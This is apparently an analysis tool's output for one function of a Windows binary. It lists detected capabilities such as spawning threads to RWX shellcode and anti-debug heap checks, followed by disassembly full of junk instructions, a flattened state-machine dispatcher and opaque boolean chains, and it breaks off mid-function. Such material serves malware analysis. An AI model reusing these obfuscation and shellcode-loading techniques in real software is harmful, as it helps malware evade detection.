Function at 0x403500
Capabilities:
Allocate or change rwx memory
Authenticate hmac
Check os version
Create thread
Encode data using base64
Get number of processors
Get process heap force flags
Inspect section memory permissions
Parse pe header
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
mov eax, 0x4a57c
call fcn.0048aac0
mov eax, dword [ebp + 8]
mov eax, dword [0x500200]
xor eax, ebp
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x49810]
lea eax, [0x4985c0]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x49800
call fcn.0048b620
mov edx, 0x42
imul eax
not esi
dec edx
neg edi
not esi
rcr esi, 0x3c
sub edx, 0x50
dec edi
neg edi
not edx
ror edi, 0x65
rcr edx, 0xc8
and eax, 0x35
sbb esi, 0x9c
and eax, 0xe0
ror esi, 0xf
not ebx
neg edi
rol edx, 0x7d
dec ebx
imul eax
neg ebx
neg ebx
neg eax
sbb ebx, 0x61
ror eax, 0x3f
bswap eax
bswap eax
neg eax
sbb eax, 0xb2
and esi, 0xfe
imul eax
sub edi, 0x48
mov ebx, 0x5e
sub esi, 0xd9
inc edx
mov edx, 0x8b
add esi, 0x8a
and eax, 0x21
imul eax
imul edx
rcl edx, 0x4f
rcr esi, 0x90
rcr eax, 0xd3
neg edi
and edx, 0x3b
neg esi
neg ebx
rcr edi, 0xda
rcr ebx, 0x53
not edx
inc esi
ror edx, 5
rcl ebx, 0x55
bswap esi
and eax, 0xac
or eax, 0x23
neg esi
dec edi
imul edx
add eax, 0x67
rcl esi, 0xbc
mov edi, 0x3c
inc eax
neg ebx
ror eax, 0x75
and eax, 0xfa
add esi, 0xc4
mov ebx, 0x3a
neg edx
rcl edx, 8
inc edi
rcr esi, 0xed
neg ebx
dec ebx
not esi
bswap edi
mov esi, 0x90
inc edx
or edi, 0x27
not eax
rcl eax, 0xee
dec ebx
dec eax
or esi, 0x33
imul edi
rcr esi, 0xa1
inc eax
bswap edi
sbb edi, 0xd
imul edx
or esi, 0x91
bswap edx
add edi, 0xdf
rcr edx, 0x64
neg ebx
or ebx, 0xe9
not edi
rcl eax, 0x5f
mov eax, 0xe8
neg edx
sbb ebx, 0x3a
not edx
add esi, 0xec
dec edx
rol ebx, 0x7f
ror esi, 0xee
neg eax
dec ebx
rcr eax, 0xf3
neg edx
add esi, 0x74
mov ebx, pe_nt_image_headers32
bswap eax
dec ebx
dec eax
bswap edi
sub eax, 0xe8
or edx, 0x6a
bswap ebx
not ebx
ror eax, 0x29
rcr eax, 0x8f
inc edx
rol edi, 0xb8
imul ebx
ror edx, 0x63
rcr edi, 0x6f
sbb edx, 0x61
inc ebx
not edi
bswap eax
or edx, 0xd1
and ebx, 0xc8
bswap esi
sbb eax, 0x57
mov edi, 0x8f
not esi
neg eax
add eax, 0x91
imul eax
dec ebx
ror esi, 4
imul edi
ror edx, 0x13
and edi, 1
add edx, 0xc0
inc eax
add esi, 0xa0
neg ebx
rcr edi, 0xc6
bswap ebx
rcl ebx, 0x38
dec esi
dec ebx
rol ebx, 0x63
sbb esi, 0x66
rcl ebx, 0xdf
bswap esi
not edi
and eax, 0xed
bswap ebx
not edi
neg ebx
imul ebx
and edi, 0x9c
add ebx, 0x2b
or esi, 0x84
sub ebx, 0x94
sub edi, 0x38
ror ebx, 0xc5
imul edi
not esi
ror edx, 0x11
rcr eax, 2
imul edx
bswap edi
rcl esi, 0xb8
inc ebx
rcl eax, 0xe0
bswap ebx
mov esi, 0x74
rcr eax, 0x4e
sbb edx, 0xba
rcl esi, 0x85
add edi, 0x5b
dec edx
imul edi
or eax, 0xd6
rcl eax, 0xd8
add edx, 4
inc ebx
imul eax
ror edi, 7
mov esi, 0x2e
rcr edi, 0x73
imul edi
not edi
bswap esi
sub ebx, 0x90
rcr edi, 0x3e
ror esi, 0x4a
neg ebx
sub esi, 0xdb
inc eax
mov eax, 0x6a
mov edx, 0x2d
bswap edx
dec eax
ror eax, 6
rol edi, 0x43
imul edx
rcr edi, 0x4e
not ebx
dec edx
inc edi
bswap edi
dec edi
rcr ebx, 0xa9
imul eax
neg eax
rol eax, 0x9f
ror ebx, 0x72
neg edi
bswap esi
rcr ebx, 0xe6
sbb eax, 0x6d
mov edi, 0x1a
neg eax
not ebx
rcr edi, 0x56
sbb eax, 0xaf
neg eax
inc esi
sbb ebx, 0xc2
sbb eax, 0x33
rcl esi, 0xf6
dec edi
rol ebx, 0xfd
rcl esi, 0xbd
rol ebx, 3
sub edi, 0x44
add ebx, 0xfb
rcr esi, 0xf2
not edi
neg ebx
dec edx
bswap edx
mov edx, 0x2e
imul edi
or edx, 0x66
rcl edi, 0xa3
inc ebx
sub edx, 0xbb
neg ebx
inc eax
sbb edx, 0xdf
or eax, 0xf4
sub esi, 0x3e
neg ebx
ror eax, 0x3f
rcl edi, 0x57
ror ebx, 0x47
neg edx
neg edx
rol eax, 0xe3
sbb edx, 0x63
ror esi, 0x42
neg esi
bswap esi
not edx
not edi
rol eax, 0xec
or ebx, 0x27
dec edi
rcl edi, 0xf6
ror edi, 0x11
or esi, 0x13
imul eax
or edi, 0x48
inc edi
sub eax, 0x23
and edx, 0xe5
imul esi
rcl eax, 0xbf
ror ebx, 0xaa
and ebx, 0xbb
inc edx
inc esi
inc esi
sbb esi, 0x77
or esi, 0x9e
add ebx, 0xa
neg edx
add edx, 0xd8
inc eax
rol edx, 0x29
mov ebx, 0x99
add ebx, 0xd9
add esi, 0xa3
or ebx, 0x24
dec esi
sbb edx, 0x8d
inc ebx
and edi, 0xa
imul edx
and ebx, 0x72
rcl edx, 0xb
mov ebx, 0x64
or ebx, 0xc
ror ebx, 0xcf
imul edx
inc esi
imul edi
dec edi
sbb esi, 0xfb
rcl eax, 0x8a
rcr edx, 0xfb
add ebx, 0xe5
and edx, 0x3e
sbb edi, 0xcd
and eax, 0xf8
not esi
bswap eax
mov edx, 0xa4
imul ebx
sub esi, 0x8b
dec ebx
add eax, 0x65
and esi, 0xe5
neg edi
ror edi, 0x7b
bswap edi
dec esi
imul edx
inc eax
or edi, 0x38
and eax, 0xa5
add edx, 0x6e
add edx, 0
sbb edi, 0xcb
imul edx
mov esi, 0xc6
dec eax
not esi
or ebx, 0xea
neg ebx
not edi
inc edi
not edx
inc esi
dec esi
rcl ebx, 0x78
inc esi
inc eax
neg edi
dec esi
sbb esi, 0xdf
sbb ebx, 0x50
sbb edx, 0x1f
and edi, 0x87
bswap ebx
or eax, 0xdb
neg ebx
or esi, 0x19
neg ebx
rcl edi, 0xc3
mov ebx, 0xac
not edi
and eax, 0x40
not esi
bswap edi
not eax
not esi
sbb ebx, 0x4e
mov edx, 0x20
dec ebx
rol edi, 0x9e
neg eax
rcr edx, 0xa6
bswap ebx
sub edi, 0xe5
sub eax, 0xb0
sub ebx, 5
rol esi, 0x89
dec edx
sbb ebx, 6
ror edi, 0xe1
rol edi, 0xd5
mov eax, 0x77
sbb esi, 0x35
inc esi
bswap edi
rol ebx, 0xf4
rol eax, 0xce
add eax, 0x5e
dec esi
and eax, 0xe9
add edx, 7
imul edi
imul esi
rcr ebx, 0x34
bswap edx
rol eax, 0xa7
dec ebx
sbb edx, 0x66
rcr edi, 0xd0
rcr edx, 0x5a
rcr edx, 0x83
sbb edi, 0x77
rcr esi, 0xd8
and ebx, 9
mov edi, 0xfa
mov eax, 0x37
not eax
dec eax
bswap edi
bswap edi
inc eax
bswap eax
rol edx, 0xfb
mov edx, 0x23
and esi, 0x14
not esi
bswap esi
sub eax, 0x18
dec eax
mov edx, 0x1d
rol esi, 0x32
inc esi
not esi
neg ebx
add edx, 0x16
rcl edi, 0x30
rcr esi, 0x9f
inc ebx
not esi
inc eax
inc edi
rcr edx, 0x2c
or edx, 0xcc
rcr ebx, 0xbb
sub ebx, 0x41
inc esi
bswap eax
add edx, 0xc
neg esi
rcr esi, 0xcb
mov edi, 0xcf
ror edx, 0x5c
inc edi
imul esi
and edi, 0x42
bswap eax
not eax
ror esi, 0x1e
neg ebx
imul esi
mov ebx, 0xae
sbb ebx, 0xf1
sbb esi, 4
not ebx
and esi, 0xb7
or edx, 0xb5
inc eax
bswap eax
mov edi, 0x6a
rol eax, 0x7e
imul edi
or ebx, 0x29
inc edi
dec edx
not eax
imul esi
rcr eax, 0x7d
sub ebx, 0x1f
sub esi, 3
or edx, 0x5a
ror esi, 0x16
sbb eax, 0x99
rol edi, 0x5a
imul esi
bswap edi
bswap edi
not esi
imul esi
rol edi, 0x3c
rcr edx, 0xca
not eax
rol eax, 0x33
add eax, 0x67
neg ebx
mov ebx, 0x70
sbb edi, 0x40
sub edx, 0x43
dec esi
inc edx
and eax, 0x3f
neg esi
inc esi
ror eax, 0x30
rcr edi, 0x82
or ebx, 0xc1
inc esi
ror eax, 0xc2
rcr esi, 0xf9
or ebx, 0xcd
rcl eax, 8
inc esi
bswap eax
bswap edi
neg edx
bswap edx
neg ebx
ror esi, 0xd8
dec edx
add ebx, 0x3b
neg eax
neg esi
bswap edx
mov esi, 0x31
sbb edi, 0xe7
not edx
bswap edx
inc edi
rol edi, 0xe1
bswap edx
add edi, 0xf0
imul eax
bswap esi
rcl ebx, 0x74
rcr esi, 0x3e
rcl eax, 0x17
bswap eax
bswap eax
sbb eax, 0x4f
rol eax, 0xea
ror eax, 0x2b
dec edx
ror ebx, 0x35
sbb ebx, 0xd
ror esi, 0xb4
dec edi
ror esi, 0x63
imul eax
sbb edx, 0xf1
imul edi
neg ebx
imul esi
inc edx
not edi
inc ebx
ror eax, 0xaf
bswap eax
dec edx
dec edx
mov eax, 0xd2
add ebx, 0x8c
rol ebx, 0x84
bswap ebx
neg eax
add eax, 0x2d
imul eax
inc eax
dec edx
not edx
rcl edi, 0xae
sub edi, 0x6f
imul eax
not edi
inc edi
bswap edx
imul edi
bswap esi
not edi
dec ebx
bswap ebx
or ebx, 0x99
imul edi
neg edi
imul ebx
sbb ebx, 0x99
imul eax
neg edi
rol ebx, 0xed
rcr eax, 0x5e
dec esi
sub esi, 0xa3
rcr edx, 0xd6
or eax, 0x69
inc edx
imul ebx
rcr edi, 0x6d
ror eax, 0x7b
rcl edx, 0x68
rcr edi, 0x97
rcl eax, 0x18
add edx, 0x45
rol ebx, 0x7a
mov dword [ebp - 0x499f0], eax
mov dword [ebp - 0x49a70], 0x54ead89c
mov eax, dword [ebp - 0x49a70]
mov dword [ebp - 0x49a78], eax
sub eax, 0x82408e71
je 0x42c271
jmp 0x403bf6
mov eax, dword [ebp - 0x49a78]
sub eax, 0x871fe03e
je 0x41a016
jmp 0x403c0c
mov eax, dword [ebp - 0x49a78]
sub eax, 0x87bcb26c
je 0x40cd8d
jmp 0x403c22
mov eax, dword [ebp - 0x49a78]
sub eax, 0x891b780c
je 0x40dcf9
jmp 0x403c38
mov eax, dword [ebp - 0x49a78]
sub eax, 0x8a8d01ed
je 0x4243f6
jmp 0x403c4e
mov eax, dword [ebp - 0x49a78]
sub eax, 0x8c8d8cf6
je 0x41ebe4
jmp 0x403c64
mov eax, dword [ebp - 0x49a78]
sub eax, 0x8cb34732
je 0x42b770
jmp 0x403c7a
mov eax, dword [ebp - 0x49a78]
sub eax, 0x8f3a45a8
je 0x41730e
jmp 0x403c90
mov eax, dword [ebp - 0x49a78]
sub eax, 0x8f679f5b
je 0x42b106
jmp 0x403ca6
mov eax, dword [ebp - 0x49a78]
sub eax, 0x8fb4bc04
je 0x420f5f
jmp 0x403cbc
mov eax, dword [ebp - 0x49a78]
sub eax, 0x8ff00112
je 0x418cb3
jmp 0x403cd2
mov eax, dword [ebp - 0x49a78]
sub eax, 0x8ffdd435
je 0x424f42
jmp 0x403ce8
mov eax, dword [ebp - 0x49a78]
sub eax, 0x9051ed3d
je 0x40cdf9
jmp 0x403cfe
mov eax, dword [ebp - 0x49a78]
sub eax, 0x905c6b3f
je 0x42bc04
jmp 0x403d14
mov eax, dword [ebp - 0x49a78]
sub eax, 0x94935f72
je 0x4204d5
jmp 0x403d2a
mov eax, dword [ebp - 0x49a78]
sub eax, 0x969a0abe
je 0x429111
jmp 0x403d40
mov eax, dword [ebp - 0x49a78]
sub eax, 0x9784474b
je 0x40d8ff
jmp 0x403d56
mov eax, dword [ebp - 0x49a78]
sub eax, 0x98c92469
je 0x417196
jmp 0x403d6c
mov eax, dword [ebp - 0x49a78]
sub eax, 0x9d2cfc78
je 0x411c20
jmp 0x403d82
mov eax, dword [ebp - 0x49a78]
sub eax, 0x9de68d01
je 0x41b728
jmp 0x403d98
mov eax, dword [ebp - 0x49a78]
sub eax, 0x9f37c170
je 0x406a3f
jmp 0x403dae
mov eax, dword [ebp - 0x49a78]
sub eax, 0xa027c342
je 0x409504
jmp 0x403dc4
mov eax, dword [ebp - 0x49a78]
sub eax, 0xa08699d5
je 0x40ea24
jmp 0x403dda
mov eax, dword [ebp - 0x49a78]
sub eax, 0xa14d702d
je 0x425bc0
jmp 0x403df0
mov eax, dword [ebp - 0x49a78]
sub eax, 0xa3cc7f74
je 0x42b8b5
jmp 0x403e06
mov eax, dword [ebp - 0x49a78]
sub eax, 0xa4822505
je 0x40cd7e
jmp 0x403e1c
mov eax, dword [ebp - 0x49a78]
sub eax, 0xa6b7541c
je 0x4058cc
jmp 0x403e32
mov eax, dword [ebp - 0x49a78]
sub eax, 0xa70aabbf
je 0x42c436
jmp 0x403e48
mov eax, dword [ebp - 0x49a78]
sub eax, 0xa793f9e3
je 0x42c427
jmp 0x403e5e
mov eax, dword [ebp - 0x49a78]
sub eax, 0xa83d7344
je 0x411498
jmp 0x403e74
mov eax, dword [ebp - 0x49a78]
sub eax, 0xab1549fd
je 0x42c280
jmp 0x403e8a
mov eax, dword [ebp - 0x49a78]
sub eax, 0xadaa00a0
je 0x426bf3
jmp 0x403ea0
mov eax, dword [ebp - 0x49a78]
sub eax, 0xaef72992
je 0x4094f5
jmp 0x403eb6
mov eax, dword [ebp - 0x49a78]
sub eax, 0xb089272f
je 0x411761
jmp 0x403ecc
mov eax, dword [ebp - 0x49a78]
sub eax, 0xb1d09b19
je 0x427400
jmp 0x403ee2
mov eax, dword [ebp - 0x49a78]
sub eax, 0xb1fa2e73
je 0x42c3d5
jmp 0x403ef8
mov eax, dword [ebp - 0x49a78]
sub eax, 0xb28268b1
je 0x42b54c
jmp 0x403f0e
mov eax, dword [ebp - 0x49a78]
sub eax, 0xb48b821b
je 0x42b86d
jmp 0x403f24
mov eax, dword [ebp - 0x49a78]
sub eax, 0xb4e0fe93
je 0x42c228
jmp 0x403f3a
mov eax, dword [ebp - 0x49a78]
sub eax, 0xb6a88520
je 0x40b143
jmp 0x403f50
mov eax, dword [ebp - 0x49a78]
sub eax, 0xb7add2ff
je 0x405431
jmp 0x403f66
mov eax, dword [ebp - 0x49a78]
sub eax, 0xb8a15b52
je 0x42c256
jmp 0x403f7c
mov eax, dword [ebp - 0x49a78]
sub eax, 0xb8f020d7
je 0x42aeff
jmp 0x403f92
mov eax, dword [ebp - 0x49a78]
sub eax, 0xba32fb66
je 0x41b737
jmp 0x403fa8
mov eax, dword [ebp - 0x49a78]
sub eax, 0xbb0c7965
je 0x417329
jmp 0x403fbe
mov eax, dword [ebp - 0x49a78]
sub eax, 0xbbb3b47a
je 0x41d211
jmp 0x403fd4
mov eax, dword [ebp - 0x49a78]
sub eax, 0xbbfd093f
je 0x42b746
jmp 0x403fea
mov eax, dword [ebp - 0x49a78]
sub eax, 0xbc19346d
je 0x41a41f
jmp 0x404000
mov eax, dword [ebp - 0x49a78]
sub eax, 0xbe4e4325
je 0x40b1f2
jmp 0x404016
mov eax, dword [ebp - 0x49a78]
sub eax, 0xbe8f1bcc
je 0x41ebaa
jmp 0x40402c
mov eax, dword [ebp - 0x49a78]
sub eax, 0xbefd9463
je 0x4082ba
jmp 0x404042
mov eax, dword [ebp - 0x49a78]
sub eax, 0xbf5f53ad
je 0x40de88
jmp 0x404058
mov eax, dword [ebp - 0x49a78]
sub eax, 0xbff48a33
je 0x411bf6
jmp 0x40406e
mov eax, dword [ebp - 0x49a78]
sub eax, 0xc229cf25
je 0x425d59
jmp 0x404084
mov eax, dword [ebp - 0x49a78]
sub eax, 0xc359dbfc
je 0x4204c6
jmp 0x40409a
mov eax, dword [ebp - 0x49a78]
sub eax, 0xc48a0adb
je 0x4256ed
jmp 0x4040b0
mov eax, dword [ebp - 0x49a78]
sub eax, 0xc77e0063
je 0x40951f
jmp 0x4040c6
mov eax, dword [ebp - 0x49a78]
sub eax, 0xc8a97e3a
je 0x425d3b
jmp 0x4040dc
mov eax, dword [ebp - 0x49a78]
sub eax, 0xc9c67db2
je 0x418ed4
jmp 0x4040f2
mov eax, dword [ebp - 0x49a78]
sub eax, 0xca52c805
je 0x406a15
jmp 0x404108
mov eax, dword [ebp - 0x49a78]
sub eax, 0xcb28de8b
je 0x421297
jmp 0x40411e
mov eax, dword [ebp - 0x49a78]
sub eax, 0xcc8f37c9
je 0x42c371
jmp 0x404134
mov eax, dword [ebp - 0x49a78]
sub eax, 0xce468ed1
je 0x42b797
jmp 0x40414a
mov eax, dword [ebp - 0x49a78]
sub eax, 0xcf89beb1
je 0x411c11
jmp 0x404160
mov eax, dword [ebp - 0x49a78]
sub eax, 0xd02e31ff
je 0x415776
mov dword [ebp - 0x49a70], 0x428678c9
jmp 0x42c62f
mov dword [ebp - 0x49a70], 0x497cc6c7
jmp 0x42c62f
mov eax, dword [ebp - 0x499e0]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x499dc], eax
mov dword [ebp - 0x49a70], 0x9f37c170
mov eax, dword [ebp - 0x499dc]
mov dword [ebp - 0x49a74], eax
jmp 0x42c62f
mov eax, dword [ebp - 0x49a74]
mov dword [ebp - 0x498f4], eax
mov ecx, dword [0x501548]
mov eax, dword [0x501544]
mov esi, 0x7212db2f
add esi, 0
sub esi, 0xa8feb112
sub esi, 0x7212db2f
mov edx, ecx
add edx, 0x98167427
sub edx, esi
sub edx, 0x98167427
xor edi, edi
sub edi, 0xc7710c3b
sub edi, 1
add edi, 0xc7710c3b
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, edi
add esi, edx
xor edx, edx
sub edx, esi
mov esi, 0x56d94875
add esi, 0
sub esi, 0xa8feb112
sub esi, 0x56d94875
sub edx, 0x26b97594
add edx, esi
add edx, 0x26b97594
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov dl, bl
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
mov al, bl
and al, cl
or dl, al
mov al, 1
xor al, 1
xor dl, 0xff
mov cl, 1
xor cl, 0
or al, dl
or cl, 0
xor al, 0xff
and al, cl
mov cl, 1
xor cl, 1
and cl, 1
mov dl, 1
xor dl, 1
and dl, 1
or cl, dl
xor cl, 0xff
mov bh, bl
xor bh, cl
and bh, bl
mov ah, al
xor ah, 0xff
mov byte [ebp - 0x49aec], ah
mov dl, bh
xor dl, 0xff
mov cl, 1
xor cl, 1
and ah, 0xff
and al, cl
mov ch, dl
and ch, 0xff
and bh, cl
or ah, al
mov al, byte [ebp - 0x49aec]
or ch, bh
xor ah, ch
or al, dl
xor al, 0xff
or cl, 1
and al, cl
or ah, al
mov al, dh
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
mov cl, dh
and cl, dl
or al, cl
xor al, 0xff
xor al, 1
and al, 0xff
mov byte [ebp - 0x49aeb], al
mov bh, 1
xor bh, 1
and bh, 0
mov cl, 1
xor cl, 0
mov dl, cl
and dl, 1
mov al, 1
xor al, 1
and al, 0
and cl, 1
or bh, dl
or al, cl
xor bh, al
mov al, bh
xor al, 0xff
mov dl, dh
xor dl, al
and dl, dh
mov cl, 1
xor cl, 1
and cl, 1
mov al, 1
xor al, 1
and al, 1
or cl, al
xor cl, 0xff
mov al, 1
xor al, 1
mov ch, 1
xor ch, 0
or cl, al
mov al, byte [ebp - 0x49aeb]
or ch, 0
xor cl, 0xff
and cl, ch
xor bh, 0xff
xor bh, 1
and bh, 0xff
mov byte [ebp - 0x49aea], bh
mov ch, al
and ch, dl
xor al, dl
or ch, al
mov al, cl
xor al, 0xff
mov byte [ebp - 0x49ae5], al
xor bh, 0xff
mov dl, 1
xor dl, 0
and al, 0
mov byte [ebp - 0x49ae9], al
and cl, dl
mov al, bh
and al, 0
mov byte [ebp - 0x49ae7], al
mov al, byte [ebp - 0x49aea]
and al, dl
mov byte [ebp - 0x49ae8], al
mov al, byte [ebp - 0x49ae9]
or al, cl
mov cl, byte [ebp - 0x49ae8]
mov byte [ebp - 0x49ae6], al
mov al, byte [ebp - 0x49ae7]
or al, cl
mov cl, byte [ebp - 0x49ae6]
xor cl, al
mov al, byte [ebp - 0x49ae5]
or al, bh
xor al, 0xff
or dl, 0
and al, dl
or cl, al
mov dl, ch
xor dl, 0xff
and dl, 0
mov bh, 1
xor bh, 0
and ch, bh
mov al, cl
xor al, 0xff
and al, 0
and cl, bh
or dl, ch
or al, cl
xor dl, al
mov ch, 1
xor ch, 0
and ch, 1
mov al, 1
xor al, 1
and al, 0
or ch, al
mov cl, 1
xor cl, 1
xor ch, 0xff
mov al, 1
xor al, 0
or cl, ch
or al, 0
xor cl, 0xff
and cl, al
mov ch, 1
xor ch, 1
and ch, 1
mov bh, 1
xor bh, 1
mov al, bh
and al, 1
mov byte [ebp - 0x49ae4], al
mov al, 1
xor al, 1
and al, 0xff
mov byte [ebp - 0x49ae3], al
mov al, byte [ebp - 0x49ae4]
and bh, 1
or ch, al
mov al, byte [ebp - 0x49ae3]
or al, bh
xor ch, al
xor ch, 0xff
xor ch, 0
and ch, 0
mov al, cl
and al, ch
xor cl, ch
or al, cl
mov byte [ebp - 0x49ab0], al
mov ch, 1
xor ch, 0
and ch, 1
mov cl, 1
xor cl, 1
mov bh, cl
and bh, 0
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or ch, bh
mov bh, byte [ebp - 0x49ab0]
or al, cl
xor ch, al
mov al, ah
xor al, 0xff
mov cl, ch
and cl, al
xor ch, 0xff
mov al, ah
and al, ch
or cl, al
mov ch, ah
xor ch, 0xff
mov al, cl
xor al, ch
and al, cl
mov byte [ebp - 0x49ad1], al
mov al, bl
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
and bl, ch
mov cl, 1
xor cl, 1
and cl, 0xff
and ch, 1
or al, bl
or cl, ch
xor al, cl
mov cl, bh
xor cl, 0xff
and cl, 0
mov bl, 1
xor bl, 0
and bh, bl
mov ch, 1
xor ch, 1
and ch, 0
and bl, 1
or cl, bh
or ch, bl
xor cl, ch
mov ch, 1
xor ch, 0
and ch, 1
mov bl, 1
xor bl, 1
and bl, 0
or ch, bl
mov byte [ebp - 0x49adf], ch
mov bh, al
xor bh, 0xff
mov byte [ebp - 0x49ae0], bh
mov bl, cl
xor bl, 0xff
mov ch, 1
xor ch, 1
and bh, 0xff
and al, ch
mov byte [ebp - 0x49ae2], al
mov al, bl
and al, 0xff
mov byte [ebp - 0x49ae1], al
mov al, byte [ebp - 0x49ae2]
and cl, ch
or bh, al
mov al, byte [ebp - 0x49ae1]
or al, cl
mov cl, byte [ebp - 0x49ae0]
xor bh, al
mov al, byte [ebp - 0x49adf]
or cl, bl
xor cl, 0xff
or ch, 1
and cl, ch
or bh, cl
mov cl, al
and cl, 0
xor al, 0
or cl, al
mov al, bh
xor al, 0xff
and al, 1
mov bl, 1
xor bl, 1
and bh, bl
mov ch, 1
xor ch, 1
and ch, 0xff
and bl, 1
or al, bh
or ch, bl
xor al, ch
xor cl, 0xff
mov ch, al
xor ch, cl
and ch, al
mov bh, 1
xor bh, 0
and bh, 1
mov cl, 1
xor cl, 1
mov bl, cl
and bl, 0
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or bh, bl
or al, cl
xor bh, al
mov al, dl
xor al, 0xff
and al, 1
mov byte [ebp - 0x49ade], al
mov al, 1
xor al, 1
mov cl, dl
and cl, al
mov bl, bh
xor bl, 0xff
and bl, 0xff
and bh, al
mov al, byte [ebp - 0x49ade]
or al, cl
mov cl, byte [ebp - 0x49ab0]
or bl, bh
xor al, bl
mov bl, dl
xor bl, 0xff
mov bh, al
xor bh, bl
and bh, al
mov al, cl
xor al, 0xff
and al, 0
mov byte [ebp - 0x49add], al
mov bl, 1
xor bl, 0
and cl, bl
mov al, 1
xor al, 1
and al, 0
mov byte [ebp - 0x49adc], al
mov al, byte [ebp - 0x49add]
and bl, 1
or al, cl
mov cl, byte [ebp - 0x49adc]
or cl, bl
xor al, cl
mov cl, dh
xor cl, 0xff
and cl, 1
mov byte [ebp - 0x49ada], cl
mov cl, 1
xor cl, 1
mov bl, dh
and bl, cl
mov byte [ebp - 0x49adb], bl
mov bl, al
xor bl, 0xff
and bl, 0xff
and al, cl
mov cl, byte [ebp - 0x49adb]
mov byte [ebp - 0x49ad9], al
mov al, byte [ebp - 0x49ada]
or al, cl
mov cl, byte [ebp - 0x49ad9]
or bl, cl
mov cl, byte [ebp - 0x49ad1]
xor al, bl
xor dh, 0xff
mov bl, al
xor bl, dh
and bl, al
mov al, cl
xor al, 0xff
and al, 0
mov byte [ebp - 0x49ad8], al
mov dh, 1
xor dh, 0
and cl, dh
mov al, 1
xor al, 1
and al, 0
mov byte [ebp - 0x49ad7], al
mov al, byte [ebp - 0x49ad8]
and dh, 1
or al, cl
mov cl, byte [ebp - 0x49ad7]
or cl, dh
xor al, cl
mov byte [ebp - 0x49aba], al
mov dh, ch
xor dh, 0xff
and dh, 1
mov cl, 1
xor cl, 1
mov al, ch
and al, cl
or dh, al
mov al, 1
xor al, 0
and al, 0
mov byte [ebp - 0x49ad5], al
mov cl, 1
xor cl, 0
mov byte [ebp - 0x49ad6], cl
and cl, 0
mov al, 1
xor al, 1
and al, 0
mov byte [ebp - 0x49ad3], al
mov al, byte [ebp - 0x49ad6]
and al, 1
mov byte [ebp - 0x49ad4], al
mov al, byte [ebp - 0x49ad5]
or al, cl
mov cl, byte [ebp - 0x49ad4]
mov byte [ebp - 0x49ad2], al
mov al, byte [ebp - 0x49ad3]
or al, cl
mov cl, byte [ebp - 0x49ad2]
xor cl, al
mov al, byte [ebp - 0x49aba]
mov byte [ebp - 0x49abb], cl
mov cl, 1
xor cl, 0
xor al, cl
mov cl, byte [ebp - 0x49aba]
and al, cl
mov cl, byte [ebp - 0x49abb]
mov byte [ebp - 0x49ad0], al
mov al, byte [ebp - 0x49ad1]
xor cl, 0xff
xor al, cl
mov cl, byte [ebp - 0x49ad1]
and al, cl
mov byte [ebp - 0x49acf], al
mov al, 1
xor al, 0
mov cl, dh
xor cl, al
mov al, byte [ebp - 0x49abb]
and cl, dh
mov byte [ebp - 0x49ac9], cl
xor ch, 0xff
xor al, 0xff
mov cl, 1
xor cl, 1
or ch, al
mov al, byte [ebp - 0x49ad0]
or cl, 1
xor ch, 0xff
and ch, cl
mov cl, byte [ebp - 0x49acf]
mov byte [ebp - 0x49ac8], ch
mov ch, al
xor ch, 0xff
mov byte [ebp - 0x49acb], ch
xor cl, 0xff
mov byte [ebp - 0x49acc], cl
mov cl, 1
xor cl, 1
mov byte [ebp - 0x49aca], cl
and ch, 0xff
and al, cl
mov cl, byte [ebp - 0x49acf]
mov byte [ebp - 0x49ace], al
mov al, byte [ebp - 0x49acc]
and al, 0xff
mov byte [ebp - 0x49acd], al
mov al, byte [ebp - 0x49aca]
and cl, al
mov al, byte [ebp - 0x49ace]
or ch, al
mov al, byte [ebp - 0x49acd]
or al, cl
mov cl, byte [ebp - 0x49acc]
xor ch, al
mov al, byte [ebp - 0x49acb]
or al, cl
mov cl, byte [ebp - 0x49aca]
xor al, 0xff
or cl, 1
and al, cl
mov cl, byte [ebp - 0x49ac9]
or ch, al
mov al, byte [ebp - 0x49ac8]
mov byte [ebp - 0x49ac0], ch
mov ch, cl
xor ch, 0xff
xor al, 0xff
mov byte [ebp - 0x49ac2], al
mov al, 1
xor al, 0
mov byte [ebp - 0x49ac1], al
mov al, ch
and al, 0
mov byte [ebp - 0x49ac6], al
mov al, byte [ebp - 0x49ac1]
and cl, al
mov al, byte [ebp - 0x49ac8]
mov byte [ebp - 0x49ac7], cl
mov cl, byte [ebp - 0x49ac2]
and cl, 0
mov byte [ebp - 0x49ac4], cl
mov cl, byte [ebp - 0x49ac1]
and al, cl
mov cl, byte [ebp - 0x49ac7]
mov byte [ebp - 0x49ac5], al
mov al, byte [ebp - 0x49ac6]
or al, cl
mov cl, byte [ebp - 0x49ac5]
mov byte [ebp - 0x49ac3], al
mov al, byte [ebp - 0x49ac4]
or al, cl
mov cl, byte [ebp - 0x49ac3]
xor cl, al
mov al, byte [ebp - 0x49ac2]
or ch, al
mov al, byte [ebp - 0x49ac1]
xor ch, 0xff
or al, 0
and ch, al
mov al, byte [ebp - 0x49ac0]
or cl, ch
mov byte [ebp - 0x49abf], cl
mov ch, al
xor ch, 0xff
and ch, 1
mov cl, 1
xor cl, 1
mov byte [ebp - 0x49abe], cl
and al, cl
mov cl, byte [ebp - 0x49abf]
mov byte [ebp - 0x49abd], al
mov al, cl
xor al, 0xff
and al, 0xff
mov byte [ebp - 0x49abc], al
mov al, byte [ebp - 0x49abe]
and cl, al
mov al, byte [ebp - 0x49abd]
or ch, al
mov al, byte [ebp - 0x49abc]
or al, cl
mov cl, byte [ebp - 0x49abb]
xor ch, al
mov al, byte [ebp - 0x49aba]
mov byte [ebp - 0x49ab4], ch
mov ch, al
and ch, dh
xor al, dh
or ch, al
mov al, ch
xor al, 0xff
and al, 1
mov dh, 1
xor dh, 1
and ch, dh
or al, ch
mov byte [ebp - 0x49ab7], al
mov ch, 1
xor ch, 0
mov al, cl
xor al, 0xff
mov byte [ebp - 0x49ab6], al
mov al, 1
xor al, 1
mov byte [ebp - 0x49ab5], al
